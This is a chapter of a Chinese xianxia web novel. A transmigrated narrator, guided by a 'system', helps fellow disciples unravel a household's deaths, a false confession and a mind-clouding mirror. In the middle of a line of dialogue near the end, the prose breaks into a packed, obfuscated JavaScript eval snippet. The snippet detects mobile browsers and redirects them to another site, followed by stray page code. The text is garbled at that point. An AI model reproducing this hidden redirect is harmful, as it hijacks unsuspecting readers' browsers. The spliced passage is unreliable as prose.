官府只留一份档案记录,但不管修士的事。修士寿命漫长,一人便够普通人活几十代,更别提那些牵扯到许多代修士的灭门案,要是由官府这边来破,只会成为无头冤案。 所以修仙者这边由各个门派举荐内门学徒组成小队,再派出资深年长修士坐镇,全权处理有修士参与其中的各类案件,和官府之间只有交接流程,不需要官府过问办案过程和结果。 这就是——执法队,由内门学徒和已经出师的修士构成,可以说都是讨厌邪修的存在。 画面中,黑影打不过白影,白影也不是真的要打,两人吵了起来。 黑影:“我不喜欢这个故事。你为什么要这么讲。为什么……没有一个好结局?” 白影:“我爱怎么讲怎么讲。有本事你打我,哎呀呀,忘了你打不过。” 这欠扁声音……的确是小女孩,一想到她骗我。但内门学徒都打不过她,她肯定不是看起来的年纪。 黑影咬牙切齿:“艾宁宁!你怎么能把天道的事这么堂而皇之写出来!” 原来小女孩叫艾宁宁。 欸……我又陷入那种虚无缥缈状态中。不过情况没有持续太久。我清醒过来。 出现了,绝对不能说出的词。 白影不屑哼哼:“有什么不能,不管是被遗弃孤城的那位女修还是万鲤宫宫主,还有神算,呸。才不告诉你我都见过谁……反正她们都是我采访过的,得到本人允许才把故事写出来。” 黑影:“那下面那个是怎么回事!原本的版面变成你的也就算了,你乱写什么鬼东西!” 白影:“啧。不是跟你说她人不见了这是顶她版面嘛!她原本写剧情连载的,属于编造故事,我平时只搞专访,连载的东西我写不了,更何况我是第一书坊的头号撰稿人,当然要有创新,那是幻想,幻想题材你懂不懂,只是一个设想,在某个世界某个文明中这种幻想题材可火了,我们也是幻想题材的常客。” 黑影痛苦抱头:“啊啊我不懂!算了,我要走了!遇见你真是头疼!你爱待就待在这吧,我连夜就走!” 白影叫住:“等等。话说。最近不是御兽谷最容易被围攻的时间?兽要冬眠战力下降,慈悲堂那帮人每年必参与围攻,听说今年他们新上任的圣男都要参与,男修就是小心眼,自己三妻四妾,女人偷情却要把她抓起来打死,圣男三危是堂主十梭亲生子,说是历代来最天赋绝佳的医修,都说天赋会遗传,按理说母亲也该是赫赫有名的医修,却始终没听过他母亲是谁,保不准就是十梭干了什么见不得台面的好事,雪藏人家女修,你还在这做什么,不回去帮忙?” 黑影怒:“是灵兽谷,灵兽谷!慈悲堂这帮家伙,是女皇统治覆灭后起来的,根本没有我们历史悠久,灵兽谷自世间有灵兽以来就存在,成千上万年传承,原本安生无事……自从慈悲堂诞生,打着冠冕堂皇旗号鼓动修士围攻我们,每年偏数他们来闹得最起劲,什么灵兽是世界财富应该大家一起分享的借口,听都听腻了!慈悲堂可是唯一一个没有御兽课的大门派,我们不通过他们的入谷申请,多年来仇上加仇……不知道今年新圣男上任又闹成什么样,我当然要回去帮忙!这几天巡逻完交差就回去。和妈妈去了希行门授课,身为谷主之女,段家后人,怎么能懈怠?!不跟你说了。” 黑影说完再不纠缠,御剑飞行,一眨眼消失不见。 画面到此结束。 嗯……?花逝,是和长老的女儿?和长老的结婚对象是灵兽谷谷主?灵兽谷谷主一向神秘,没有太多信息对外透露,只听说已经成家有孩子…… 原来和长老她真的结婚了,孩子都这么大了。我以为结婚只是她不想被那些有钱有势学徒纠缠找得幌子。 可是花逝不是应该姓段,或者姓和吗?在云间月记忆中她怎么只有名字没有姓氏?还有慈悲堂……慈悲堂没有御兽课,修士这边人尽皆知,但原来…… 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荷乘蕴大概,很生气。 我心虚:「云,云间月,我明天找她问问,她身上肯定带着书,而且她说不定也知道……那个词的事,或许可以在不被雷劈情况下问她。」 我忽然想起来件事,在云间月记忆中见过面的人会被她分类为同伴,反派,路人,即使这一世没见过面也会有能量颜色,那么—— 「云间月她上一世见过我吗?初见时她不知道我的名字,感觉不像。如果她不曾正面见过我,怎么知道我是反派?」 系统想了想:【是得小心些,上一世宿主或许使用邪修手段强行让女主模糊关于你的记忆,这种篡改会随着女主这一世日渐强大被回想起来,需要小心露馅那天女主提剑来杀你。】 果然是这样。云间月是笑面虎,还是个随时黑化的不稳定因素,我得努力修行,有还击她的余力,还得…… 「寻找能够安全逃脱她身边的办法。」 「实在不行,就去抓她的软肋。」 虽然这种办法阴险。 此时此刻,我这一天的思绪……到此为止。 这一夜,我没做怪梦。 清早醒来神清气爽。 好,好美的人。大美人不知何时已经起床,拿着一条发带卷来卷去,她头发乱了,绝美容颜在我面前…… 我很自觉,拿过发带给她梳头发。 她坐着比我高,我得跪直身子才能看见她头顶。 一头秀发在手中流动。我给她梳了个女修常用的英姿飒爽发型。没有为什么,莫名觉得她……就该是这样。 这么清澈一个人,为什么会变得痴傻呢。 她回头看我,我不禁注视她眼睛。 她的眼睛是黑色,仔细看,其中好像……有一抹紫色? 我记得,莫莹绣也是这样的眼睛,好像魔族都是这样,那,大美人是魔族? 不太可能吧,她痴痴傻傻的,怎么能通过界门守卫?要是偷渡更不现实,她身上没有太多能量,我能感觉出她现在只是个普通人,也没有魔族身上常有的气息。 我看到放在一边的剑。 得带着。这是个危险品。 早饭时。 云间月看见大美人,虽然没表现出来,我相信此刻她一定有种,宿命逃不开的感觉。 会清露的任务牌亮起,这么快还有事?指的方向是…… 客栈后面。 云间月没有任何表情,对会清露淡淡说:“你去吧。” 我的猜测八成是真。 会清露无法拒绝,急急忙忙吃了饭,看她的任务牌指引去哪。我拜托小姐照顾大美人,追了上去。 我要对小姐经历的事非常慎重,哪怕那是云间月没有印象的事,决不能放过。结果我家小姐也跟了上来。 最后还是留下云间月和大美人干瞪眼。 我:“……”命运是个圆,这该死的命运。 猜测是对的,任务牌指向的地方还是齐家。 但是今天不同,齐家门口守着衙役。会清露迟疑着,没有立刻上前。 我忽然想起来忘记找云间月借书。齐家就在客栈后墙,我说声“回去取个东西”,从旁边院墙翻过去,直奔云间月房间后窗,一把推开。 我忘记敲窗了。 云间月和我对视,她正好在……换袜子。 可能是要洗吧。 云间月正在脱的袜子……上面绣着弯月图案。她从身上取出的新袜子,上面是满月图案。 怪可爱的。 大美人在她房间里,趴桌上画画,很安静。 云间月……不愧是有前世记忆的人,带小孩很有一套。 “怎么了?”她看见我盯着她的袜子,把绣着满月的那只袜子迅速穿在脚上,说:“这个可不能给你。贴身之物。” 我:“……不是。不需要。”我确实对她说过很多不该说的话。但也没到要拿贴身之物骚扰她的程度。 “咳,你上次给我看的书还在不在?” 云间月颇为微妙看我一眼。 啊啊她能不能不要总用这种眼神看我了,还笑笑的,搞得好像我和她有关系,会被我家小姐误会的!万一小姐以为我也被云间月的魅力倾倒投向她情敌了怎么办! 虽然我也真的蛮欣赏云间月随时黑化的病情,欣赏她这种懒得乱搞关系的利落……? 呸呸呸。什么跟什么。 云间月笑着掏出书,说:“明天出新刊呢。” “怎么,你急着买啊。那就去……”我只说到一半。 因为……按照时间来看,今天晚上或者夜里多半要出事,不管新刊内容是什么,上一世的云间月肯定没能及时看见她心心念念的书。而且我好像知道这书的作者是谁。 “看不见的。我没办法。”云间月走到窗边把书给我。 “……”我什么也没说。现在的我,就像知道所有事的幕后者,在任何明知却无法被揭露的未来面前望而却步。 “我不会让你那么快死的,今天没事别乱跑了。”最后,我很像是敷衍了事地这么说。 如果云间月乱跑说不定还是会撞到花逝。“还有,”我郑重看向她。 “什么?”云间月笑得我后背发毛。 “以后在我家小姐面前尽量别这么对我笑。会让她误会。” 此话一出,云间月看我登时更加微妙,她幽幽开口:“你身边关系人真不少,呢。” 她非要故意加上语气词,我从后背发毛变成毛骨悚然,想打哆嗦。 我:“你,你什么意思?” “没有,只是感慨,你是个多情人……” 话没说完,旁边的大美人举起画纸,“画,画……完了?” 她看起来很想被表扬,我对她招招手,她抓着画纸跑过来。 我一边摸她头“好乖好乖”,一边看她到底画了什么。 画纸上,黑色炭笔勾勒出风景人像画。 ……我诧异,这真是,一副相当诡异,而且线条清晰,但意义不明的画。 画中一个衣摆翻飞的人影被能量光束击中,天地开合仅在这瞬间,除了那道光之外,整个画面遍布无数条绕圈画出的黑线,只有人影和轻飘飘的衣服散发出亮光,让人很自然联想到这一击打在身上极重,一定很疼,也许……那个人就此死去。 画画之人明显功底十足,寥寥几笔画面跃然纸上。 我面色平静,迎上大美人澄澈的眼睛,下一刻,大美人从我手中抽走画,自己撕了个粉碎,口中念念有词: “不能……留下痕迹?” 她又去桌上画画了。 云间月用眼神问我,我叮嘱:“你留意她还画什么,我那边有事。” “……嗯。”云间月还是告诉我,“会清露那边,大概会有人来。执法队什么的。” “知道了。” 我再度翻墙回到背街。 离开不过一柱香时间,齐家门口的衙役这会比之前还多,会清露仍旧没有上前,只远远看着。 齐施然把带队的官差送出门外,她身后,还跟着一个和她年岁相差无几的女子。 官差看起来很头痛。我听她们在说什么。 “夫人,这件事牵扯到修士,我们是不管的,于情于理该由我们联系修士那边的执法队,现在一是你不愿,二是执法队现在不在这里,联络不上……” 齐施然款款微笑:“等修士那边的人来,这件事定会有个结果,劳烦各位大人跑一趟。”她示意家人悄悄往官差手中塞钱。 对话进行到这里,明眼人都能看出,正是插嘴的好时候。 会清露走上前去。 齐施然已经不像昨夜那么失魂落魄,好像昨夜无事发生。 我有种她看见我们眼神一亮的错觉。 她立刻迎上会清露,“大人们,不必请执法队,现在就有人来,这几位是从门派那里来的学徒,想必一定有办法解决眼下情况。” 怎么回事,执法队……花逝,她真的不在? 是,系统传回的画面中,她夜半离开。 我以为她一定会因为各种巧合必然而留下,结果—— 她怎么真的不在?! 【宿主别激动,先想想发生了什么。】系统循循善诱提醒我。 对,我不能自乱阵脚。 仔细想想…… 上一世。云间月在客栈直接带走大美人,没有遇见艾宁宁。 艾宁宁不必浪费时间,夜里时肯定已经离开,也就不会遇见花逝,两人更不会打起来。 花逝……没有因为打输生气离开,于是第二天还留在第十城,因此管了齐家的事,遇见云间月。 现如今,花逝与被我绊住脚步的艾宁宁发生争吵,自己不想留在这,已于昨夜离开第十城。 我……我改变了这件事!没有来天雷劈我! 就是说,它符合逻辑。世界……没察觉出异样。 我,真的做到了。改变一件足以影响未来的事,干涉它的某个阶段。它……如此不可思议,雀跃与阴霾在心头反复交替。 23.事件……解决? 会清露过去后,衙役府的官差赶紧把这桩麻烦事推脱出去,急急忙忙走了。 齐施然请我们去待客厅坐,对我们介绍她身后的女子, “这是我的亲妹齐庄仪,幼时成为修士,听说老夫人去世,前来吊唁。” 齐庄仪对我们微笑:“我来自永灵宗,现在是内门学徒,并未出师,叫我师姐即可,师妹们是在考试,有什么问题尽管问我,我定会协力帮助家姐解决问题。” 齐庄仪看起来和齐施然年纪相差无几,两人的确有些眉眼相像。听说修士可以让自己的相貌维持在想要的年龄段,齐家姐妹都是美人,三十岁的美人……很养眼。虽然我娘也三十几岁,但她身上其实没有太多……怎么说呢,就是像齐施然这种……这种已经身为一家主母的感觉。 会清露任务牌指向的是齐施然,齐施然简短把昨夜的事说给她听,她还告诉我们红黄二人也没走,现在正在她家老爷房中调查现场。嗯,遗体也还在那,夜里官府过来验尸查过,不太想接这桩案子,想要联系执法队,齐施然不想,再接下来就是我们在门口见到的场景。 “我懂了。”会清露听完过程说,“齐夫人,您……需要怎样的帮助?” 齐施然视线稍微往齐庄仪那边看,立刻挪回来:“官府说我家老爷可能……死得蹊跷,如果能查明原因,妾身将不胜感激。” 会清露看起来倒是不怕遗体,“那我们现在去现场,可以吗?” “当然,几位请随我来。”齐施然在前面引路。 走到后面房间门口,红黄二人在里面,遗体已经被平放在地上,身上盖着白布。两人在讨论什么。 齐施然介绍: “我家老爷是跑家族生意的,与那位红衣女子是远亲关系,她是我们的本家姨母,身份不便说,但请不必误会,姨母并非修士,的确与老爷相差十岁有余。旁边那位黄衣女子是姨母友人,因来取物品在此相遇。” 会清露缓缓:“夫人,请容我一问,府上……可还有您之外的家眷?” 我和小姐俱是一愣。对啊,我们忽略了这个问题。 齐家家境远比寻常人家优渥,老爷纳妾不是什么稀罕事,这世间男子很少有像城主那般专一,守着亡妻不再娶,很多更是妻子活着见异思迁,家中一房又一房。 齐施然反应极快,立刻明白在说什么,她不自在笑笑:“不曾,无妾室,更无子嗣。从前……老爷倒是有提起过,不过这事我不便过问,是从老夫人那里听来,说老爷有意于一名烟花女子,老夫人不同意,两人间有些龃龉,那之后老夫人就病了……说起来,进门多年无所出……”说到这里,齐施然垂下眼帘,“是我的不是。” 我听出她今天说话不带着严重口音,仅仅是细听时还剩下一点,她已经平静许多。 这时候检查尸体的红衣服冷哼:“外甥媳妇你有所不知,这不孕不育可是夫妻二人都有责任,你一人包揽,让我这倒在地上的妈宝男外甥情何以堪?他死了也倒好,我们是家族营生,你是他妻子,平日里没少替他把活全干完,如今他死也死了,你需要继续活着,我们是家族营生,且是女子主事,实在没有女丁才会用男丁,每个亲族都有事做,没有人会来分属于你的遗产,你不如接手他的营生,钱还是一样拿,以后大可找个比他更贴心懂事的年轻后生,都说人到中年升官发财死发妻,我这养出不中用儿子的远表姐也去了,再没人约束着你,何必现在就怨天尤人?” 齐施然被一通抢白,神色凄苦,还是应答:“是,姨母说得有理,施然谨记于心,差事必定不会懈怠,多谢姨母体恤。” “我可不是体恤你,自从这外甥成了亲,业绩蒸蒸日上,我还以为是他开窍,没想到过来查看才知是他娶的好妻子在为他操劳营生,这钱本来就该是你的,你好好干,升职加薪指日可待。”红衣服站起来,“我们检查完了,结论和官府一样,遗体的确有蹊跷,不像是自己愿意吊上去,看这四周散乱的东西,很明显是有过打斗,或是被强行压着吊上去,有过一番挣扎,但也没用太久,人很快就死了。” 黄衣服也不着痕迹看一眼齐庄仪,说:“这件事我们不便参与。我可当什么不知,不曾来过。” 红衣一摊手:“所以要我说,外甥媳妇你不如就说外甥随着表姐去了,以伤心过度自寻短见上报,之后一切照旧。当然,决定权在你。” 我和小姐对看一眼。小姐对我笑笑,意思是,她和我想得一样。 是的,齐家老爷不像是自杀,遗体身材高壮,齐家的家里仆人不是上年纪妇人就是小童,齐施然也只是个没什么力气的普通女子,说她杀了人自导自演……她根本做不到,如果是她串通仆人做这一切,人多了肯定会问出蛛丝马迹,官府就会管这件事,就是说,现在所有人都觉得—— 这件事极有可能,或者说就是齐庄仪做的。 因为她同样很可疑。我有点好奇会清露会怎么做了。 齐施然摇头:“我与老爷结发十数年,至少应当……为他尽最后一分力。” 会清露说:“明白了。夫人,不知能否回避,有些话需要询问齐庄仪师姐。” 齐施然为我们空出房间。 会清露第一个问题:“请问,师姐是何时知道到老夫人去世消息,又是何时出发?” 齐庄仪:“第一日白天消息传到,家姐着急,花钱请修士来传信,我本在门派,接到消息后即刻出发。” 这倒是,我知道修士有接力传信的业务,用法术一个接一个把信息传往下一处地点,像是民间的驿站,是下至官府上达人皇统一有备案的营生,通常为有钱人提供。看得出齐施然是真的很着急,她丈夫要纳妾老夫人都会告诉她,她应该和老夫人关系处得不错吧,老夫人去世时也是她…… 等等,她提到过,老夫人去世时口吐白沫。系统应该知道医术知识。 我问:「心脏病发作真的会口吐白沫?」 【有这种可能,老夫人得有五十岁,可能不止有心脏病,以这个年代的医术很难救治,五十岁是平均寿命,不稀奇。】 儿子看上烟花女子,当真让她有这么生气,一病不起,最后把自己气死了。 会清露问:“修士御剑,一天可行数百里路,算上夜间休息,本该于葬礼第三日抵达,为何今天第四日才到?” 永灵宗离这里五百里,这也是个疑点。会清露真的看出来了。我惊讶于她的心细。 没想到,齐庄仪说:“是我杀了他。他做了对不起家姐的事。不信随我去后山查看。” 我从会清露脸上没有看见真相水落石出的安然,她点一点头。 路上,齐庄仪走在前面。后山不高,没有铺路,只有一条碎石土块组成的上山小路。 系统让我观察齐庄仪。 它说:【有件事,宿主应该知晓。齐庄仪身上能量很少。她可能没有御剑飞行,而是——骑马过来的,而且还是快马,昼夜不停,修士身体能够承受,但她走路姿势有难以发现的不自然。】 我疑惑:「修仙之人能量少,往往是大限将至之时,都是一家人,看齐施然还活得好好的,她怎么可能只有三十几岁寿命?」 【不得而知,也许齐庄仪和女主曾见过面,如果宿主想知道,找时机接触,统尽力破解。】 到了,齐庄仪带我们到一棵树下,这里十分隐蔽,树下环绕矮灌木丛。 “在树下,挖出即可,有心理准备。”齐庄仪示意我们动手。 会清露施展法术把矮灌木从连根拔起,她以为要费很大力气,没想到只是一拔就出来了,这里——不久前被人挖开过。 泥土中,是一半陷入土中……身穿白衣的……女子,后脑破了一个大洞,白衣染成斑驳黑红。 遗体还没有腐烂,正脸被挖出来,女子样貌在三十岁上下,即便有些狰狞,也可能看出容颜姣好。 系统告诉我结果:【钝器击打后脑以致死亡,用力极大,不像寻常女子所为,从创口面积来看,出血量也很大,会溅上衣服。】 修士杀人,办法要多少有多少,哪会打破人脑袋溅自己一身血。 这又是怎么回事? 齐庄仪语气带着压抑的激动:“你们肯定好奇这女子是谁,这是为老夫人葬礼请来的哭丧女,原本在各个城镇间巡回专职为人哭丧。那个贱男人杀了她,只因为见她卸妆后美貌,欲行不轨之事未成杀人灭口,埋尸回来时又被家姐撞见,家姐想与他争辩几句被捂了嘴,竟要被用绳子勒死,我昨天晚上就来了,没来得及打声招呼便看见这幕,家姐已经晕厥过去。事情正是这样,我从那男人口中问出他做了什么,帮家姐杀了他,做成上吊样子,把家姐送回卧房后离开,让她只当夜里发生过这些是噩梦。然后在早上时装作刚到,衙役们猜出真相不想管。人的确是我杀的,凭你们如何上报,我问心无愧。” 我们三人一时无话。人证物证皆在眼前,齐家老爷不是什么好东西,先是不忠不义气死母亲,然后又想在母亲葬礼上乱搞,现在顶多算一命还一命,防卫过度罢了,如果齐庄仪不替齐施然杀了他,齐施然肯定已经死了。但是……这个案子,看似真相大白,却仍旧有疑点。 我刚想开口,手中忽然挤进一只手。 手指柔软,勾住我的。 小姐,玉燃兮,对我摇头。 ‘不得插手。’她作口型提醒我。 对。如果插手,会清露会被判定为任务失败。 系统:【不对劲,宿主要细致观察,齐庄仪这些话,像是背台词。她尽力声情并茂,以至于演技浮夸。】 「……云间月提醒过我,这件事会达到惊动执法队规模。」 “她也很可怜,我们把她带回去,问问夫人如何处理吧。”会清露用自己外衣包裹遗体,把人扛起来,没想到她现在力气这么大。她扛着遗体往山下走,头也不回。 我们跟上,再无人说话。 走到齐家院子门口时,会清露没踏进去,而是停下来问: “齐师姐,夫人有时口音听起来不像这边人,方便透露您来自哪里吗?” 是的,人界八十四城,差不多每十几座城口音相似,随着地域间隔逐渐混入自家方言,乡音难改是肯定的,会清露来自第二城附近,能听出齐施然有时候出现的口音不属于这。 齐庄仪回答:“我们来自第八十一城的某个小村子,估计你们没听过,家姐于十五年前孤身远嫁到第十城,我从小进入门派求学,不曾与家人有太多时间亲近,别的再不清楚。” 齐施然,还真是远嫁过来的。也许这对姐妹家中很穷…… 我思绪戛然而止,又一个,新的疑点,出现了。 “……嗯。谢谢。”会清露点头,走进门去。 又多出一具遗体,齐施然已经麻木,她脸上没有笑,叹口气,命令家人们给遗体盖白布,收拾房间停放,她看起来还想问问会清露的外衣要不要清洗,可是—— 会清露淡然接过她的外衣,不管脏污,直接穿上了。 一下子把齐施然的话堵在口中。她脸上神情似乎是在给自己找答案解释,‘修仙者不拘小节。’ 不不,不是。 她错了,哪怕是修仙者也不会把裹过遗体的衣服立刻穿起来。这不符合常理。 但,这件事,发生在会清露身上。……说明会清露不介意,她是发自内心觉得死去的哭丧女很可怜,为她共情。 我暗暗把这件事记在心中。 已经是午饭时间,齐施然留我们吃午饭,会清露这次摇头,看向我和小姐。 小姐点点头。 会清露说:“谢谢夫人好意,但是不了,我们去城中解决午饭,午后再回来。” 我们三人在城中找地方吃饭。对这里最熟悉的是小姐,我一看便知她想要带我们去有名的酒楼,但是,做出行动前小姐自己想了想,她没有带路。各付各的会清露可能不一定乐意增加花销,我拍拍会清露肩膀,“今天交给你了。” 会清露:“嗯,嗯,一定找到便宜好吃的店!” 她这么个性子,都能因为中午外出吃饭高兴成这样,之前在齐家是真的是压抑坏了。 会清露像只鸟儿,在摊位和店铺间飞来飞去,她其实并不算十分内向,和人交流是没问题的。 最终她带我们到一家可以吃堂食的店。我们坐在店铺外边看风景边吃饭,食物很好吃。 “我想查清楚这件事,或许要耽误时间。且我认为,齐家姐妹二人都有些……不寻常。”会清露吃过饭说。 我和小姐用鼓励目光示意她继续说。 会清露:“如今世道,贫穷人家的女孩,家里不想养,被卖作童养媳可能更大,怎么会……从小供养齐庄仪去门派求学,小孩子时开始修行虽然能从小稳扎稳打,但也需要几年时间来教导,不会像已经成年的学徒能从门派接委托补贴家用,门派每个月发给学徒月钱不多……” 何止是不多,抵不上家里寄给学徒的生活费多,一般从小让孩子修仙,都是家中不差钱,指望孩子成仙后庇佑家族的有钱世家,像是程追原那种。我心里清楚得很。 会清露继续:“那么假设两姐妹家中并非穷苦,齐夫人又为何……要远嫁?” 我和小姐都点头。这确实是怪事。 或许我这么说很肤浅,齐家两姐妹都是美人。登门向齐施然提亲者一定只多不少,她就算一个看不上,多见见附近的外城人难道还选不中一个,何必横跨六十多城这么远嫁过来,而且还是孤身一人? 见我们点头。会清露思索后说:“齐老爷身上也有些疑点。如果齐老爷真的流连女色,为什么不多娶几房妻妾,为何要偷偷摸摸去烟花之地?” 正说着,唢呐声从街对面传来,远远走来一支白衣队伍,吹吹打打,是在送葬。 会清露猛地站起来,对我们欠身,说:“我有事去问问。在这里稍坐片刻就好。” 我们看着她追上去。 “她好像勇敢了一点。”小姐微笑着。 “小姐……”我知道这时这样撒娇不对,但,我想知道,“当初为什么邀请会清露来同住?” 小姐答得坦荡:“因为灵佑和她相熟。不愿见到熟人遭人欺负,我能够体谅。” 原来小姐是为了我好! 我好爱她。 我握住小姐的手:“我和小姐关系天下第一好。不会变的。” 小姐摩挲我的指尖,却并未再回答。 会清露回来了,带着她的答案。 “这支队伍和送齐老夫人是同一支,虽然哭丧女子与她们不同路,但她们听女子提起过,说自己和齐夫人是同乡,所以葬礼这三天齐夫人留她在家中住。她们不知女子已经死去,我没有告诉她们。” 我:“这有些奇怪。” 如果当年,齐施然真的是因为做了什么让名声不好的事,被迫背井离乡,没道理她乡遇故知这么高兴,还留人在家中居住。 但齐施然见到遗体时那种麻木不像是假的。如果她也是在演戏,系统会第一时间提醒我。 会清露赞同我:“是的。我……想找到齐老爷去过的青楼再问问看。嗯,嗯,如果你们不方便,就不必去了,在这里等我回来。”她自己小声嘟囔,“不知道……她们接不接女客。” 这是默认我家小姐不会踏足烟花之地,其实这么想也没错。 小姐:“来都来了。走。” 这是我家小姐的好奇心。 会清露是有些惊讶的,有人陪她很高兴,“你们跟着就好,我来问,我一定能问明白是怎么回事。” 花街。 这里和普通酒楼没什么区别。但是和寻常街巷又有细微不同。 会清露一家一家问,堂中的女子们见她是女孩子,没为难她,只是说来说去没什么有用信息。她们说着说着会捂嘴笑,然后把我们请出来。 其中一家,一个姐姐惊奇:“上个月齐家老爷也来问过,真是奇怪,你们怎么问同样的事,你们要找的人已经被那位老爷赎身,月初就走了,我们几个姐妹平日里有几分交情,听她亲口说要回家乡去呢,怕是再难找喽?” 会清露轻轻“啊?”了一声。 那个姐姐见她还有疑惑,指向街对面一家店,“你们去问那里的鸨母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16792983|186020||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老妈妈好啦。” 看来齐家老爷给青楼女子赎身这事是真的,会清露带着困惑谢过,我们直奔对面而去。 这家鸨母是上年纪妇人,精明模样,一见我们甚至没用手下的女子来打发我们,直接让我们和她去包厢密谈。 她开门见山:“几位,是齐夫人指派来的?” 齐家老爷现在死讯还未发,除涉事人外无人知晓。 这中间……真的有事。 会清露:“是,不过我们不是来问责的,只是单方面调查,想问是不是齐老爷为那位女子赎的身。” 鸨母坦荡:“是。楼里这么多人看着,我如何抵赖?” 会清露有点受挫,因为逛花街这事……只能说是齐家的家事,她来问已经是多嘴,她并非那种脸皮十分厚的人,能问到这实属不易,当即就站起来,向鸨母告辞。 鸨母没有送我们,笑笑,也没有拦。 走下楼时,几个女子斜刺里伸出脚步拦住会清露,问: “这位妹妹,齐夫人还来我们店里吗?” 齐施然是真的来过这,不知当初闹得多大,这些女子竟然都记住了她, “我——我不知道。”会清露只有摇头。 “是么,”女子们互相看看,叹息,“齐夫人好大方呢,陪她出去逛街,比那些油嘴滑舌的男人好得多。” ……什么?我怔住。 “你说什么?”会清露反应过来,急忙追问。 “齐夫人之前总来,本来瞒得好好的,不知怎的被齐老爷发现,上个月那天齐老爷来找陪她出去最多的……”那几个女子也意识到哪里不对劲,正说话忽然闭上嘴。 我们彼此干瞪眼,大脑疯狂接收信息。 【哦,齐施然才是逛花街的那个。】系统一语点醒梦中人。 ……!我大惊,拍桌而起:“糟了!她会不会是要寻短见!” 我们三个几乎是挤作一团往齐家赶去,这会谁也想不起御剑飞行,全用跑的。 等我们回到齐家, ……齐施然在厅堂里坐着,并没有出事。 她周围一个人没有,淡淡扫一眼我们,说:“几位妹妹莫非以为我要寻短见?坐吧。想来你们已经知道真相,我没有堵老妈妈的口,现在老爷已死,也再没那个必要。” 我们三人坐在齐施然对面,等她说出真相。 齐施然露出那种得体微笑:“葬礼上的确有人破坏规矩乱搞,不过不是我家老爷,是我。今早的遗体……小佳慧从前是我的女仆,我从小偏好女子,这没什么好奇怪,她也喜欢和我在一起。后来我们的关系被发现……我父亲是郡官,这件事闹得人尽皆知,家中逼我嫁人,我听从命令,远嫁到这第十城。我家老爷说他喜欢我,他多半没听过传闻,我们成了亲。可是奇怪,我离开时明明为小佳慧安排过去处,她怎么……会去做哭丧女?见到她,我是多么——不可思议。命运的巧合,我嫁作人妇,她……现在,她也死了。” 会清露:“那昨夜……?” 齐施然:“昨夜的事……我说我不信我家老爷杀了人,是今早见了尸体才确定,你们可相信?” 会清露点点头,“你说。” “小佳慧昨夜不告而别,我想她或许是对过去之事留存阴影,不想和我告别,就没声张,也没派人去找。只是有些困惑,回房间路上……正巧撞到我家老爷。鬼鬼祟祟,手上还拿着铁锹,衣服上……也带着血。他狂笑着对我说,‘我把你的小情人埋起来了。’他之前也这么说,实际上把和我相好的姑娘赎身送出城去,那姑娘已经到家乡,我写信问过。我可不信老爷这套鬼话,他偏偏要拉我对峙,他……可是越说越离谱,把他怎么悄悄在小佳慧背后……背后打她都描述出来,”齐施然说到这里在哭。“我越问越心惊,他疯疯癫癫,我装作生气,自己拿出绳子要上吊,于是他也站到凳子上来拦我,我们拉扯着吧……那时好像是打了道雷,那面镜子就放在桌上,他被镜子晃了眼,不知怎就那么巧合……正巧挂在绳结上。呵……我年轻时绣工数一数二的好,活结你知道么……套上去,人到死也挣扎不开。他这个样子……我怕救下反引来杀身之祸,于是他就这么死了,我给他换套新衣服,刚换完你们就来了。当然,信不信全凭你们。” 会清露理了理思绪,问:“那……齐老夫人是怎么回事?” “我听说,老夫人的第一任丈夫本是入赘,老夫人年轻时忙于工作,婚后没几年丈夫在外面有了人,她把丈夫打出门去,嫁与第二任,这才有了我家老爷,本来是想要个女儿以后一起打理家业,奈何天不遂人愿。老夫人不允许老爷纳妾,和是不是青楼女子无关。老爷对她言听计从,其实原本老夫人并不认可我们的婚事,见到我帮衬老爷经营生意才同意,如今齐家一大半家业是我赚来,她知我非善类,在钱财和自己儿子幸福上选了前者——她原本想认我做干女儿,但我有家中命令在身不得不嫁人为妻,老夫人睁一只眼闭一只眼,我在外做什么她只当不知道。她不是气死的,是年轻时太过操劳,本就心脏不好,心悸发作去世,我家老爷没那个本事下毒,真有毒物衙役早就能看出来。”齐施然叹气,“唉……我妹妹愿意帮我顶罪,罢了,你们若真觉得我有罪,便去报官说明实情,衙役府少不得卖我几分面子,我自有办法打点,或者,我……?” 她收声,做出抛接钱袋手势。 这个提议有点诱惑人。 会清露不说话。 我家小姐也不说话,像是在极其认真思考什么,齐施然后半段她根本没在听。 我……也想了想。齐施然说得的确有理,这件事本就不清不楚,有齐庄仪为她顶罪,报官也没用。 会清露拿出她的任务牌,牌子还亮着。 ……齐施然还没有觉得得到帮助。 会清露忽略是否打点的话题,说:“你家老爷杀了人,凡间也有讲究,没有人命参杂其中的仇怨便不该轻易夺人性命,哪怕有再多矛盾也可以商讨解决,不去解决选择杀人就是不该,这件事是他不对,他杀人偿命,何尝不是苍天有眼。我追究毫无意义,而且我本来也不是为了查明真相才来,是为了帮你的忙。你能否说出真正需要帮助的事?” 齐施然沉默一小会,还是笑脸:“我只是想问,你们可知道,神君遗物……当真有那般神力,还是……只是传奇色彩?” 会清露斟酌着:“理论上来说,遗物有神力为真,但要根据具体物品辨别。” 巧笑倩兮的女子忽地从袖中摸出一面小镜。 我们所有人凝视她。 “昨夜手忙脚乱……”齐施然压低声音,一笑,“也并非,是受人所托,不让我把这面镜子物归原主,再加上昨夜也的确没太多时间,它现在还在我这,盒子里是空的。” 我没说话,脑袋里某个东西很闹腾。 【啊啊啊,宿主!】 【这东西上真的有奇怪能量!不是太多,达不到能映照内心,但某种程度上它的确附带思绪,具有干扰人心功效。如果本身心智紊乱……】 「就会产生心魔,做事冲动,尤其是对母亲去世夫人外遇的齐老爷来说。其实齐施然和佳慧……」可能也受到影响,再细想说不定齐老夫人可能也是因为带着这面镜子诱发心悸……我心情沉重。到头来还是躲不过既定事实。 